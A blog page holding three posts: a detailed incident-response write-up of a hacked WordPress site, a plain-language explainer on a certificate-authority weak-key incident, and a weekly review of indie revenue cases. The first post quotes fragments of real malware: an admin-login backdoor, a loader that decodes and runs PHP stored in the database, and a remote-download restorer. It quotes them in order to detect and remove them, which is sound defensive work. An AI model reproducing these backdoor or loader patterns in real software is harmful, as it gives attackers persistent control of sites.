博客

  • 我的 WordPress 网站被黑了:从打开白屏到揪出 5 处恶意代码,完整排查实录

    一次真实的 WordPress SEO 劫持事件,附 1Panel + Docker 安全排查与防护指南

    2026 年 11 月 8 日,我发现自己的 WordPress 网站 ddp.life 又出问题了。

    说“又”,是因为此前这个网站就曾经遇到过安全拦截问题,当时处理过一次。

    这一次,打开网站没有任何报错,也没有出现所谓的反诈提示页面,而是直接一片白屏。

    起初,我还以为网站再次被拦截了。

    但连续几个小时的排查下来,问题远比想象中严重。

    我的 WordPress 入口文件被篡改了,服务器里存在多个恶意插件,数据库里还藏着可以执行 PHP 代码的载荷。

    更让人意外的是,普通用户打开网站看到的竟然和 Google 搜索引擎看到的完全不同。

    这是一次典型的 SEO Cloaking(搜索引擎伪装)事件。

    本文完整记录这次排查过程,包括实际执行的 Linux 命令、关键日志、发现的恶意代码,以及网站恢复之后应该采取哪些防护措施。

    需要说明的是:本文记录的首页白屏和差异化响应问题已经修复,但截至本次记录结束,尚未完成全部安全审计,不能认为整个服务器已经彻底清理干净。


    一、网站打开白屏,但服务器告诉我一切正常

    首先,我使用 Windows PowerShell 执行:

    curl.exe -I -L --max-time 15 https://ddp.life/

    结果:

    HTTP/1.1 200 OK
    Server: openresty
    Content-Type: text/html; charset=UTF-8
    X-Powered-By: PHP/8.3.31

    看到 200 OK,第一反应是:

    服务器不是正常的吗?

    这里其实有一个很容易忽视的知识点:

    HTTP 200 OK 只表示服务器成功处理并响应请求,不保证返回的是正常网页,更不保证内容没有被篡改。

    curl -I 只能查看响应头。

    于是继续检查实际返回的 HTML:

    curl.exe -L --max-time 20 -o ddp.html `
      -w "HTTP:%{http_code} SIZE:%{size_download}" `
      https://ddp.life/

    得到:

    HTTP:200
    SIZE:0

    再看文件:

    Get-Item .\ddp.html | Select-Object Length

    结果:

    Length
    ------
    0

    到这里,基本可以解释浏览器为什么是白屏了。

    服务器返回的不是一个渲染失败的网页,而是压根没有返回 HTML 内容。

    不过,当时还无法确定原因。

    可能是 WordPress PHP 程序异常,也可能是某些插件拦截了输出,甚至可能是服务器的反向代理出了问题。

    因此,我决定登录服务器继续排查。

    二、检查 1Panel 和 Docker,发现 WordPress 后端频繁异常

    我的网站部署环境大致如下:

    组件技术
    服务器Ubuntu
    管理面板1Panel
    Web 服务OpenResty
    网站程序WordPress
    PHP8.3
    数据库MySQL
    部署方式Docker

    打开 1Panel 的网站错误日志,发现了大量这样的记录:

    upstream timed out
    (110: Connection timed out)
    
    recv() failed
    (104: Connection reset by peer)
    
    connect() failed
    (111: Connection refused)

    而且它们都指向:

    http://127.0.0.1:8580

    也就是 OpenResty 反向代理到 WordPress 容器的端口。

    当时还不知道是服务崩溃,还是被异常请求拖慢。

    继续查看 Docker:

    sudo docker ps -a

    找到 WordPress 容器,发现它的状态是运行中,但运行时间只有几十分钟。

    再看 8580 端口:

    sudo ss -lntp | grep ':8580'

    有正常监听。

    接着检查服务器资源:

    free -h
    df -h

    服务器内存总量约 1.9 GiB,已经使用了部分 Swap,磁盘使用率约 52%。

    检查内存不足导致的进程终止记录:

    sudo dmesg -T | grep -iE \
    'out of memory|oom|killed process' | tail -20

    没有发现明确的 OOM 记录。

    到这里,虽然服务器资源不算充裕,但还不能证明白屏就是内存不足导致的。

    真正的突破,来自日志中一批奇怪的 URL。

    三、网站为什么出现大量奇怪的商品 URL?

    我在 Nginx 日志里看到了这些地址:

    /f/d4644439489
    /market/44774212470705c36
    /view/product/595019220
    /cate/r358/k3585036713

    这些路径完全不像我的技术博客文章。

    于是直接访问其中一个:

    curl -sS \
      -o /tmp/ddp-suspicious.html \
      https://ddp.life/f/d4644439489

    检查大小:

    wc -c /tmp/ddp-suspicious.html

    返回:

    199454 /tmp/ddp-suspicious.html

    足足 199 KB!

    可是网站首页只有 0 字节。

    这太不正常了。

    继续提取 HTML 标题:

    grep -oiE '<title[^>]*>[^<]*</title>' \
      /tmp/ddp-suspicious.html | head -5

    结果:

    <title>マルニパニエ2wayBAG|Ddp.life</title>

    竟然是一条日文商品信息!

    我的网站主要发布编程技术、AI 工具、独立开发相关内容,根本没有发布过这种日本商品页面。

    这时,我开始怀疑:

    WordPress 是否被植入了大量垃圾商品页面,用来骗取搜索引擎收录?

    但还有一个问题。

    为什么普通人看不到这些内容?

    四、关键实验:普通访客和 Googlebot 看到的是两个世界

    我想到,可以通过修改请求头中的 User-Agent 模拟不同访问身份。

    于是分别使用普通浏览器和 Googlebot 访问首页:

    curl -sS -A 'Mozilla/5.0' \
      -o /dev/null \
      -w 'Normal HTTP:%{http_code} SIZE:%{size_download}\n' \
      https://ddp.life/
    curl -sS -A 'Googlebot' \
      -o /dev/null \
      -w 'Googlebot HTTP:%{http_code} SIZE:%{size_download}\n' \
      https://ddp.life/

    结果非常惊人:

    Normal HTTP:200 SIZE:0
    Googlebot HTTP:200 SIZE:201310

    普通用户:一片空白。

    模拟 Googlebot:返回超过 200 KB 的 HTML。

    再提取 Googlebot 收到的网页标题,发现是日文和服商品信息。

    至此,已经可以确认网站存在明显的 User-Agent 差异化内容返回行为,并且返回了未经授权的商品内容。

    这种情况高度符合 SEO Cloaking。

    什么是 SEO Cloaking?

    简单理解,就是让搜索引擎和真实用户看到不同的页面。

    正常网站的工作方式:

    普通访客 ─┐
              ├── WordPress → 正常文章
    Googlebot ┘

    而遭遇 SEO Cloaking 后:

    普通访客 ──→ 空白页面
    
    Googlebot ──→ 日文商品页面
                  ↑
               恶意程序控制

    攻击者希望利用已经拥有域名历史和搜索引擎信任的网站,批量制造垃圾页面,以争取搜索流量。

    有些攻击甚至会为不同搜索引擎、不同地区、不同访问路径返回不同内容。

    这也解释了为什么仅仅打开首页,并不能发现全部异常。

    需要注意:通过修改 User-Agent 只是模拟爬虫身份,并不等于真正通过了 Googlebot 的 IP 身份验证。不过,这次实验已经足以证明服务器存在差异化响应。

    五、检查 WordPress 的 MU 插件,找到第一个登录后门

    接下来,我开始检查 WordPress 文件。

    我的 WordPress 数据目录位于:

    /opt/1panel/apps/wordpress/<站点>/data/

    重点查看:

    wp-content/mu-plugins/

    MU Plugins 是 WordPress 的 Must-Use Plugins,即强制加载插件。

    与普通插件不同,它们会被自动加载,也不能像普通插件那样通过后台列表直接停用。

    我发现里面有五个值得调查的文件:

    cache-init.php
    site-compat-layer.php
    sso-loader.php
    wp-cache-optimizer.php
    wp-compat-layer.php

    这些名字都非常正常。

    有的像缓存插件,有的像兼容层,还有的像单点登录组件。

    但是打开 cache-init.php 后,发现了危险代码。

    它的核心行为包括:

    wp_set_current_user($user_id);
    
    wp_set_auth_cookie($user_id, true, is_ssl());
    
    wp_safe_redirect(admin_url());

    结合完整代码可以确定:这个文件存在一个由特殊请求参数触发的管理员登录后门。

    一旦触发条件匹配,程序就会选择管理员账户并设置登录 Cookie。

    也就是说,攻击者不需要正常输入管理员密码,就可能获得 WordPress 管理员登录状态。

    它并不是正常的缓存初始化功能。

    于是我把该文件复制到服务器的隔离目录保留证据,再从 MU 插件目录移走。

    这里要强调:

    遇到恶意代码不要急着直接删除,最好先保留感染文件、哈希值和日志。

    因为后面很可能需要继续分析入侵方式。

    六、找到第二个后门:恶意 PHP 代码竟然藏在数据库里

    继续检查另一个文件:

    wp-cache-optimizer.php

    表面上,它自称:

    WordPress Cache Optimizer
    Advanced object caching assistant
    Author: WordPress Core Team

    甚至在描述中写着不要停用或删除。

    但看到它的实际逻辑,我发现事情不简单。

    核心代码如下:

    $encoded = get_option("optimizer");
    
    $code = base64_decode($encoded);
    
    $tmp = WP_CONTENT_DIR . "/cache/.cache.php";
    
    file_put_contents($tmp, $code);
    
    @include $tmp;

    它做了什么?

    第一步,从 WordPress 数据库中读取名为 optimizer 的配置。

    第二步,将数据 Base64 解码。

    第三步,把解码后的内容保存为 PHP 文件。

    第四步,直接执行这个 PHP 文件。

    第五步,在请求结束时尝试删除临时文件。

    换句话说:

    恶意代码的主体不一定直接存在于 PHP 文件里,而可能存放在 MySQL 数据库中。

    后来检查数据库,确认存在:

    optimizer: EXISTS, length=9624

    这个配置项包含 9624 字节的数据。

    而且相关插件明确把该数据当作 PHP 代码执行。

    这就形成了一条完整的数据库持久化代码执行链。

    如果只扫描 WordPress 文件,却不检查数据库,很容易漏掉这种攻击。

    我随后也将该插件移出加载目录。

    不过,数据库中的载荷当时仍然保留,等待后续取证和清理。

    七、找到第三条恶意机制:被删除的文件还可以自动恢复

    接着检查:

    wp-compat-layer.php

    文件中的注释写着:

    MU Guardian Plugin
    Manually Triggered Restoration

    它的主要逻辑是:当收到特定参数时,检查另一个 MU 插件文件是否存在、长度是否满足条件。

    如果不满足,就从外部 GitHub 地址下载内容,重新写入本地文件。

    核心逻辑大致是:

    $response = wp_remote_get($backup_url);
    
    $content = wp_remote_retrieve_body($response);
    
    file_put_contents($filepath, $content);

    这次我终于理解,为什么安全事件处理中经常强调:

    不要只删除你看到的恶意文件。

    因为攻击者可能同时准备了恢复机制。

    你删除文件 A,文件 B 可能把 A 重新下载回来。

    如果数据库和管理员账号里还有持久化入口,恶意代码甚至可能反复出现。

    于是我将恢复器 wp-compat-layer.php 和它所保护的 site-compat-layer.php 一起隔离。

    至此,已经移走四个恶意或高度可疑的 MU 插件。

    随后再次进行测试。

    结果:

    Normal HTTP:200 SIZE:0
    Googlebot HTTP:200 SIZE:201310

    竟然完全没变化!

    这说明还有一个更直接的感染源没有被清理掉。

    八、真正的突破:WordPress 的 index.php 被替换了

    随后,我检查了 WordPress 的两个关键入口文件:

    index.php
    wp-blog-header.php

    wp-blog-header.php 看起来符合 WordPress 官方的正常结构。

    但 index.php 完全不对。

    正常的 WordPress 首页入口文件非常短。

    它应该做的事情主要是:

    define('WP_USE_THEMES', true);
    
    require __DIR__ . '/wp-blog-header.php';

    但是我实际打开 index.php 后,看到的却是大量这样的代码:

    define("Pa87958_SHIFT", 8);
    
    function Pa87958_s($value) {
        // 通过字符偏移恢复字符串
    }

    后面还有大量十六进制字符串、动态拼接的函数名、HTTP 请求以及直接输出内容的逻辑。

    这种方式的核心目的之一,就是隐藏真实行为。

    它使用了字符串混淆,把本来容易识别的函数名、参数名称和 URL 藏起来。

    从代码结构可以看出,它能够访问外部服务,处理返回内容,并控制页面响应。

    这与前面观察到的 Googlebot 日文商品内容和普通用户白屏行为高度一致。

    最终,我们找到了导致首页异常的关键入口文件。

    修复方法

    首先,保留被感染的文件:

    sudo cp -p /path/to/wordpress/index.php \
      /root/ddp-quarantine/index.php.infected

    然后将 WordPress 的 index.php 恢复成标准入口:

    <?php
    /**
     * Front to the WordPress application.
     *
     * @package WordPress
     */
    
    define('WP_USE_THEMES', true);
    
    require __DIR__ . '/wp-blog-header.php';

    注意:这一步只适用于已经确认该文件被恶意篡改的标准 WordPress 安装,并且应事先完成备份。更稳妥的方式是从对应 WordPress 官方版本恢复原始文件。

    随后检查 PHP 语法:

    docker exec <wordpress-container> \
      php -l /var/www/html/index.php

    返回:

    No syntax errors detected in /var/www/html/index.php

    再次执行之前的两组请求测试:

    Normal HTTP:200 SIZE:94277
    Googlebot HTTP:200 SIZE:94277

    成功了!

    普通用户和模拟 Googlebot 的首页响应都恢复到了约 94 KB。

    再也不是一个空白、一个日文商品页面了。

    虽然响应大小相同不能证明 HTML 内容绝对一致,但结合替换文件前后的变化,可以判断:恶意 index.php 是本次首页白屏和差异化响应的直接原因。

    九、这次到底发现了哪些恶意组件?

    整理这次事故的关键证据:

    位置恶意行为排查后的状态
    index.php混淆代码、请求劫持、差异化响应已恢复标准入口
    cache-init.php通过特殊条件建立管理员登录状态已隔离
    wp-cache-optimizer.php从数据库解码并执行 PHP已隔离
    wp-compat-layer.php从外部下载并恢复指定文件已隔离
    site-compat-layer.php被恢复机制保护的可疑文件已隔离,未完成全量代码分析
    数据库 optimizer存储供恶意插件执行的编码载荷已定位,尚待清理
    sso-loader.php带令牌校验的单点登录机制来源仍待核实

    此外,WordPress 网站目录及部分 PHP 文件存在 777 权限,也是一项必须整改的安全隐患。

    需要区分两个结论:

    已经确认的事实: 网站存在多个未经授权的恶意执行或登录机制,核心入口文件被篡改,首页发生 SEO Cloaking 行为。

    尚不能确认的事情: 攻击者最初通过什么漏洞进入、最早感染发生在什么时候、攻击者是否窃取了数据,以及网站此前遭遇的反诈拦截是否与这次攻击属于同一事件。

    没有完整的早期日志、文件快照和审计记录,就不能凭猜测给出这些答案。


    十、WordPress 网站被黑后,正确的应急处理顺序

    这次经历让我意识到,发现恶意文件后立即删除,并不是最可靠的处理方法。

    更合理的处理流程如下。

    第 1 步:限制公开访问,防止继续扩散

    如果确定网站正在返回恶意内容,可以先通过 1Panel 的反向代理、访问控制或服务器防火墙限制公众访问。

    不要只依赖 WordPress 维护模式,因为恶意 PHP 可能在维护模式执行之前就已加载。

    如果网站仍在提供非法商品内容或恶意跳转,越早限制访问越好。

    同时注意不要误封自己的 SSH 管理入口。

    第 2 步:先备份,再清理

    至少保留:

    • WordPress 完整文件和上传目录。
    • MySQL 数据库备份。
    • OpenResty、PHP、Docker 错误与访问日志。
    • 可疑文件的副本及 SHA-256 哈希值。
    • 当前 Docker 容器、镜像版本和配置快照。

    备份应存放到不会被网站运行账户修改的位置,不能只放在受感染的 wp-content 目录里。

    安全事件发生后制作的备份也可能包含恶意代码,它是取证材料,不代表可以直接恢复为可信系统。

    第 3 步:检查 WordPress 核心文件完整性

    WordPress 官方提供了 WP-CLI 校验命令:

    wp core verify-checksums

    以及:

    wp plugin verify-checksums --all

    它们可以将官方核心文件和 WordPress.org 插件文件与发布版本的校验值进行比较。

    但要注意:

    1. 需要先正确安装并配置 WP-CLI。
    2. 核心文件校验应使用匹配的版本和语言。
    3. 非 WordPress.org 插件、商业插件及自定义插件需要单独审查。
    4. 校验通过也不能证明数据库、主题配置和服务器环境绝对安全。

    最好在隔离副本或受控维护环境中完成检查。对于已确认被篡改的核心文件,建议使用可信发行包整体重建,而不是只修改一个 index.php。

    第 4 步:全面检查插件和数据库

    重点关注:

    wp-content/mu-plugins/
    wp-content/plugins/
    wp-content/themes/
    wp-content/uploads/
    wp-content/cache/

    并检查:

    wp_options
    wp_users
    wp_usermeta
    wp_posts

    包括数据库里的自动加载配置、陌生管理员、异常文章、可疑定时任务和插件设置。

    特别是 wp_options,这次事件已经证明它可以被用于保存恶意 PHP 载荷。

    不能仅凭选项名字判断安全,也不要因为名称像缓存配置就直接信任。

    第 5 步:恢复可信环境,轮换全部凭据

    在确认已隔离恶意入口后:

    • 更新 WordPress 核心、主题和插件。
    • 删除不需要的扩展和未知账户。
    • 重置管理员密码及所有高权限账户密码。
    • 轮换数据库密码。
    • 轮换 WordPress Authentication Keys 和 Salts,让旧登录 Cookie 失效。
    • 检查 SSH、1Panel、数据库管理面板和其他服务器凭据。
    • 如果有相关 API Key、Webhook Secret 等,也应检查是否泄露。

    如果攻击者曾拥有管理员权限,应假设部分凭据可能已经暴露,而不是只更换一个后台密码。


    十一、给 1Panel + Docker WordPress 的 8 条长期防护建议

    这部分才是我认为最值得长期执行的方案。

    1. 不要再使用全站 777 权限

    本次检查发现,部分 WordPress 文件和目录权限都是:

    drwxrwxrwx
    -rwxrwxrwx

    这意味着本地多个用户或进程可能拥有写入权限。

    通常可以将普通目录设置为 755,普通文件设置为 644,但这并不是所有 Docker 部署通用的直接执行方案。

    首先必须确认容器的 UID/GID、卷挂载方式、文件拥有者,以及哪些目录确实需要写权限。

    不要直接执行:

    chmod -R 777 /var/www/html

    也不要未检查就对整个站点批量 chown 或 chmod。

    长期目标应该是:

    WordPress 运行进程只对必要目录拥有写入权限,核心代码尽可能不可被运行账户修改。

    2. 关闭 WordPress 后台文件编辑功能

    在 wp-config.php 中加入:

    define('DISALLOW_FILE_EDIT', true);

    这会禁用 WordPress 后台的主题和插件文件编辑器。

    它不能阻止所有文件上传或代码执行攻击,但可以减少攻击者取得后台权限后直接修改 PHP 文件的途径。

    3. MU 插件必须单独审查

    普通插件可以在后台查看和停用,但 MU 插件经常被忽略。

    建议定期执行:

    find /var/www/html/wp-content/mu-plugins \
      -maxdepth 2 -type f -print

    上面路径是容器内的示例,实际使用时应确认目录存在,并在宿主机或可信检查环境执行。

    如果突然出现不认识的 PHP 文件,要确认它的来源、用途和创建时间。

    注意,1Panel 或其他托管平台可能合法使用 MU 插件,因此不能仅凭存在 MU 文件就认定感染。

    4. 检查 uploads 目录是否混入 PHP

    正常的媒体上传目录通常用来保存图片、视频和文档。

    可以定期查找:

    find /path/to/wordpress/wp-content/uploads \
      -type f \( -iname '*.php' -o -iname '*.phtml' \)

    如果发现 PHP 文件,需要确认来源。

    同时在 Web 服务器层阻止 uploads 内的 PHP 被执行,并测试规则没有破坏正常媒体访问。

    仅禁止执行还不够;还要限制 PHP-FPM 对敏感文件和目录的写入能力。

    5. 给登录后台增加防护

    建议至少落实:

    • 管理员使用独立强密码。
    • 开启多因素身份验证(MFA)。
    • 删除无用管理员账户。
    • 限制异常登录尝试。
    • 不再使用来源不明的免密登录插件。
    • 对 /wp-admin/ 加访问控制,但保留必要的 admin-ajax.php 等功能。

    如果 1Panel 提供自动登录 WordPress 的功能,应通过官方文档确认其实现方式,避免误删合法组件。

    6. 减少不必要的公网暴露

    我的服务器上除了 WordPress,还运行着其他 Docker 服务。

    因此需要特别注意端口暴露。

    例如,如果 8580 只是给本机 OpenResty 反向代理使用,原则上没有必要将它监听在所有网络接口上。

    可以在确认实际网络结构后,将映射调整为仅本机访问:

    127.0.0.1:8580:80

    同样,MySQL、phpMyAdmin、PostgreSQL 和其他管理服务也应按实际需求限制访问。

    数据库不应该因为使用了 Docker,就默认认为公网无法访问。

    涉及 Docker 端口映射和防火墙策略时,要同时检查宿主机规则与云厂商安全组,不能只依赖其中一层。

    7. 部署 WAF,建立基础攻击防护

    可以根据预算选择云 WAF、CDN WAF 或服务器侧 ModSecurity 等方案。

    重点防护:

    • 已知 WordPress 漏洞利用请求。
    • 插件漏洞探测。
    • 异常登录尝试。
    • 恶意上传。
    • 不合理的请求频率。

    但 WAF 只是防线之一。

    这次攻击已经说明:如果恶意 PHP 文件已经进入服务器,WAF 不一定能够发现或阻止它执行。

    真正重要的仍然是更新、权限、隔离、文件完整性和监控。

    8. 做自动化监控,而不是出问题才排查

    这是我以后最想落实的部分。

    至少监控四项:

    第一,网站可用性。

    每隔一段时间检测:

    HTTP 状态码
    返回内容大小
    响应时间

    如果网站出现 200 OK 但内容大小为 0,应主动报警。

    第二,普通访问与模拟搜索引擎访问的差异。

    定期使用普通浏览器 User-Agent 和 Googlebot User-Agent 请求首页,比较响应状态、标题、正文哈希或关键内容。

    如果突然出现明显差异,就标记为异常。

    不过,正常的网站也可能根据设备或缓存变化返回不同内容,因此应结合历史基线判断,不能把任何差异都视为攻击。

    第三,关键 PHP 文件完整性。

    对如下文件建立哈希基线:

    index.php
    wp-config.php
    wp-blog-header.php
    wp-load.php

    同时监测插件、主题和 MU 插件目录的新增与修改。

    合法更新时同步更新基线。

    第四,异常 URL 和搜索收录。

    定期查看:

    Google Search Console
    Nginx 访问日志
    安全扫描结果

    特别关注:

    • 突然出现的陌生商品页面。
    • 与网站定位完全不符的关键词。
    • 大量异常路径被访问。
    • 搜索引擎收录数量异常增长。
    • 网站被标记存在安全风险。

    这些信号可能比“网站打不开”更早出现。


    十二、如果重新部署,我会怎样设计 WordPress 的安全架构?

    对于个人站长和独立开发者,我认为不必一开始就上复杂的安全平台。

    一个比较务实的结构是:

    访客
      │
      ▼
    DNS / CDN / WAF
      │
      ▼
    OpenResty / HTTPS
      │
      ▼
    WordPress Docker 容器
      │
      ├── 可信 WordPress 核心文件
      ├── 最小化插件和主题
      ├── 受控写入的 wp-content
      │
      ▼
    MySQL(私有网络)

    并在旁边增加独立的安全保障:

    定期备份 ──→ 异地保存
    
    文件监控 ──→ 异常修改告警
    
    HTTP 监控 ─→ 白屏 / 异常页面告警
    
    日志分析 ──→ 异常路径和访问行为告警

    如果要在 1Panel 上落地,我建议先做好五件事:

    1. 限制不必要的公网端口。
    2. 修复文件权限,减少 PHP 对核心文件的写权限。
    3. 使用可信来源的 WordPress 核心与扩展。
    4. 配置每日备份、异地备份和恢复演练。
    5. 加上文件变化监控和网站内容异常监控。

    这样做,比单纯装一个安全插件更稳妥。


    十三、这次事件给我的五个教训

    第一个教训:HTTP 200 不等于网站正常。

    响应状态正常,但网页内容可能是空的,也可能已被劫持。

    以后检查网站不能只看状态码,还应检查实际内容。

    第二个教训:正常用户看到的页面,不一定是搜索引擎看到的页面。

    此次最重要的突破,就是切换 User-Agent 后发现日文商品内容。

    这比反复刷新浏览器有用得多。

    第三个教训:不能只检查普通插件。

    这次发现的多个后门都藏在 MU 插件目录中。

    其中有管理员免密登录机制,也有从数据库执行代码的机制。

    第四个教训:删除恶意文件不等于清理完毕。

    攻击者可能在入口文件、插件、数据库、定时任务中留下多个持久化入口。

    甚至会专门放置一个恢复程序,将清理过的恶意文件重新下载回来。

    第五个教训:恢复首页只是事故处置的开始。

    虽然这次替换 index.php 后,网站首页恢复到了正常的 HTML 响应,但完整的安全修复仍然包括全量文件检查、数据库清理、凭据轮换和后续监控。

    这一步不能省略。

    最后

    这次排查最大的感受是:

    如果没有逐层验证,我可能会一直以为网站又被反诈拦截了。

    实际情况却是,服务器一直在正常返回 HTTP 200,而 WordPress 的入口文件已经被恶意代码接管。

    普通用户看到空白,搜索引擎却看到日文商品页面。

    从 HTTP 响应到 Nginx 日志,从 Docker 到 MU 插件,再到数据库和 index.php,每一层都提供了不同的线索。

    对于个人站长来说,没有必要成为专业安全研究员,但至少要掌握几个基本能力:

    看懂 HTTP 响应、会查服务器日志、知道 WordPress 文件结构、能够备份和隔离可疑文件,并且懂得验证修复前后的差异。

    更重要的是,网站恢复以后,要建立持续监控和备份机制。

    毕竟,把网站救回来一次并不难。难的是不让同样的事情再发生。


    参考资料

    本文根据 2026 年 11 月 8 日的一次真实 WordPress 安全事件整理。为避免泄露攻击细节,部分路径、触发参数及恶意服务器地址已做脱敏处理。文中命令具有环境依赖性,涉及文件替换、权限调整或数据库修改时,请先完成备份并确认自己的部署环境。

  • 印度密钥泄露事件分析:影响有多大?

    有人说,印度一家公司的“密钥泄露”,让整个互联网都不安全了。

    事情真的这么可怕吗?

    先说结论:问题确实严重,但不等于所有网站被黑,也不代表你的密码已经泄露。

    这次的问题,出在互联网的一套“网站身份认证”机制上。

    一句话理解:一家有资格给网站发“安全身份证”的机构,使用的“签章密钥”弱到可以被推算出来,可能让坏人给假网站制作一张看起来可信的身份证。

    01|网址前面的小锁,究竟代表什么?

    我们经常打开银行、购物、邮箱等网站,网址一般是以 https:// 开头的。

    你可以把 HTTPS 想象成两层保护。

    第一层,是确认身份。

    浏览器要确认:眼前这个网站,究竟是不是它声称的那个网站。

    第二层,是保护谈话。

    确认身份后,浏览器和网站之间建立加密连接,尽量避免途中被人偷听或篡改。

    这里就涉及两个概念:

    • 数字证书:可以理解为网站的身份证。
    • 证书颁发机构(CA):可以理解为负责核发身份证的机构。

    浏览器信任这些发证机构,所以才愿意相信它们签发的证书。

    02|这次出问题的,是“发证处的公章”

    事件涉及印度公司 eMudhra。它运营着一部分为互联网提供数字证书的业务。

    2026年10月17日,安全研究人员报告:这家公司有8个中间证书颁发机构的私钥存在严重问题。其中6个涉及HTTPS网站证书,另外2个涉及软件代码签名。

    “中间证书颁发机构”听着很复杂。

    你可以把它理解成一个被授权发证的分支机构。

    它不只是有自己的一张证件,还可以替其他网站签发证书。

    正常情况下:

    可信机构 → 签发网站证书 → 浏览器验证通过。

    这次暴露的风险是:

    有人推算出发证机构的签章密钥 → 伪造其他网站的证书 → 没有及时防护的设备可能认错网站。

    就像有人不是偷了一张身份证,而是掌握了制作“带有真公章的假身份证”的方法。

    危险之处在于:这些伪造的证件,可能骗过原本信任这家机构的系统。

    03|“密钥被破解”,究竟是什么意思?

    这里还有个很容易误解的地方。

    不是说黑客闯进了公司服务器,下载了一份装着所有密码的文件。

    根据印度官方通报,相关密钥在生成时随机性严重不足,部分私钥的取值竟然小于256。

    打个比方。

    正常的保险箱密码,应该有难以想象的多种组合。

    而这次就像把可选密码缩小到了0到255这样一个很小的范围。

    别人不一定需要“偷”密码,挨个试就能很快找到。

    这不是加密算法本身突然失效,而是制作钥匙的过程出了差错。

    eMudhra表示,问题与其2025年4月的一次密钥生成流程有关,具体原因仍在调查。

    04|别人能看到我的聊天和密码吗?

    有潜在风险,但不能直接画等号。

    要利用伪造证书偷听或篡改通信,攻击者通常还需要让你的网络连接经过他控制的位置。

    也就是说,掌握了伪造证书的能力,不代表已经获得了所有人的通信内容。

    而且,部分浏览器还要求网站证书进入公开的透明度记录系统,这也能阻止一些伪造证书被接受。

    截至2026年10月22日,没有官方证据表明因此发生了大规模用户账号或密码泄露。

    eMudhra声明,其基础设施没有被入侵,没有发生公司数据泄露;相关中间机构没有签发终端网站证书。

    当然,这些是目前公开披露的调查结论,并不意味着可以停止关注后续进展。

    05|Google、Firefox 做了什么?

    各大厂商行动很快。

    10月17日: Google Chrome 和 Mozilla Firefox 开始封锁受影响的证书或密钥。

    10月18日: eMudhra撤销了相关的8张中间证书。

    10月20日至21日: Google、Mozilla、eMudhra及印度网络安全机构陆续公开说明情况,其他软件和系统也在推进防护更新。

    这就像发证机构的公章出了问题,浏览器立刻发布通知:

    “以后看到盖着这枚章的证件,不要再直接相信。”

    但浏览器之外,还有手机应用、服务器、智能设备等。

    它们更新证书信任名单的速度不一样,因此后续修复仍然很重要。

    06|普通人现在应该做什么?

    其实不用过度紧张,做好下面几件事就可以。

    1. 保持浏览器和系统更新。 尤其是长期不更新的手机、电脑和平板。
    2. 看到“不安全连接”警告,不要强行继续访问。 特别是涉及支付、登录和个人信息的网站。
    3. 不用因为这次事件立刻修改所有密码。 目前没有证据说明你的账号因此已经泄露。
    4. 如果你管理网站或服务器, 留意操作系统的证书信任库更新,必要时按厂商指引更换受影响的证书。

    最后:互联网的安全,不只取决于有没有“小锁”

    很多人以为,网址上有个HTTPS,小锁亮着,网站就一定真实、绝对安全。

    这次事件提醒我们:

    加密连接很重要,但“谁来证明这个网站是真的”同样重要。

    而且,负责证明身份的机构自己也必须值得信任。

    对普通人来说,最实用的做法仍然是:保持更新、别忽视安全警告、通过官方渠道访问重要服务。

    无需恐慌,但值得了解。

    下次看到“HTTPS密钥泄露”的新闻,至少能分清“可能伪造网站身份”和“所有密码已经被偷”,其实是两回事。


    资料来源

    本文依据截至2026年10月22日公开的官方资料整理。事件仍在后续调查中。

    Google 官方安全公告

    Mozilla Firefox 安全公告

    印度 CERT-In 事件通报

    eMudhra 公司声明

  • 海外赚钱项目观察周报 Vol.03:3 个案例,分清累计收入、买断与订阅

    2026年11月2日 · Vol.03|观察窗口:10月26日—11月1日

    本周三个新案例分别采用代办服务、桌面软件买断和平台订阅加广告的模式。它们都出现了付费信号,但金额口径不同:累计收入、售出许可证和上线初期收入,不能直接排成“谁更赚钱”的榜单。

    AI 辅助整理与核验说明:已打开原帖、产品官网及可获取的数据页面。LaunchPanda 的第三方页面标注支付数据同步,其余收入主要为作者自述;均未取得完整成本、税费和退款账目。本文用于经营观察,不承诺收益,不构成购买、投资或加盟推荐。

    本站原创编辑示意图,不是收入截图、财务图表或案例证明。

    01|LaunchPanda:从目录工具走向代办服务

    作者 BatsAapje 在 Reddit 复盘称,LaunchPanda 帮助开发者向产品目录提交项目,自5月8日首次销售以来,累计接近 $8,000,来自83位客户的116次付款。产品原先销售目录清单和提交工具,后来因客户请求增加代办服务。这是累计经营口径,不是每月收入,也不能从付款次数推出复购人数。

    本次打开的 TrustMRR 页面显示累计收入 $8,027,并标注 Stripe API 验证及11月1日更新时间;这是另一时点的数据快照。它支持“页面展示支付数据同步”这一说明,不代表独立审计,不验证交付成本、获客成效或全部经营合规。

    作者称,可追踪销售中约30%直接来自 X 点击。将其他直接访问和搜索访问继续归因于 X,是作者的推测,不能合并当作已证实的社交渠道贡献。关于“卖一项高价服务更容易”的经验,也不能脱离客户已有需求与交付工时直接照搬。

    值得测试:若已有工具用户,可以先询问哪些重复步骤希望由人代办,再用小规模、明确交付范围的服务检验需求。分别记录工具销售和服务销售的收入、人工时长、沟通返工与退款。

    风险与局限:目录收录不等于有效流量、付费转化或搜索排名提升;不要承诺保证收录、排名或 AI 推荐,也不以批量垃圾提交代替真实产品推广。作者没有给出完整利润数据,高客单价未必带来更好的单位时间收益。

    来源〔V03-01〕:Reddit,作者 BatsAapje,原帖《My side project made almost $8,000 this year. Here’s what worked (and what didn’t)》。来源〔V03-02〕:TrustMRR 的 Launch Panda 数据页。来源〔V03-03〕:产品官网定位核对。核查日期均为2026年11月2日;原帖标题按页面记录,完整题名和地址见编辑留档。

    02|iKnowMyMac:105笔销售是买断结果,不是订阅收入

    作者 deepaks612 分享称,单人经营的 Mac 工具 iKnowMyMac 在上线前四周售出105份,采用一次性购买;帖子标题标价 $4.99。产品关注用户离开电脑后哪些程序运行、哪些活动影响性能。原帖未披露逐笔实际售价、退款和税费,不能把105直接乘以标价后称为已核实收入,更不能称为 MRR。

    作者称,Product Hunt、一次通讯提及及 Mac 社区带来了买家,而 X 虽有交流,尚未追踪到销售;他还提醒归因存在缺失。这些是渠道自述,没有可核对的完整订单归因表,不能推导各渠道的实际回报率。

    值得测试:比起泛泛说“改善电脑性能”,尝试用用户容易复述的具体场景解释价值,再对比同类访问的购买转化。社区回复变多只说明表达产生反应,是否提高付费仍需验证。

    风险与局限:买断软件仍有长期兼容、支持和更新成本。阶段性价格必须真实、清楚,不能循环制造虚假稀缺。官网的演示数据及性能宣称不等于本次实测;系统活动工具还需关注本地数据、敏感记录和权限边界。本篇未下载或执行产品。

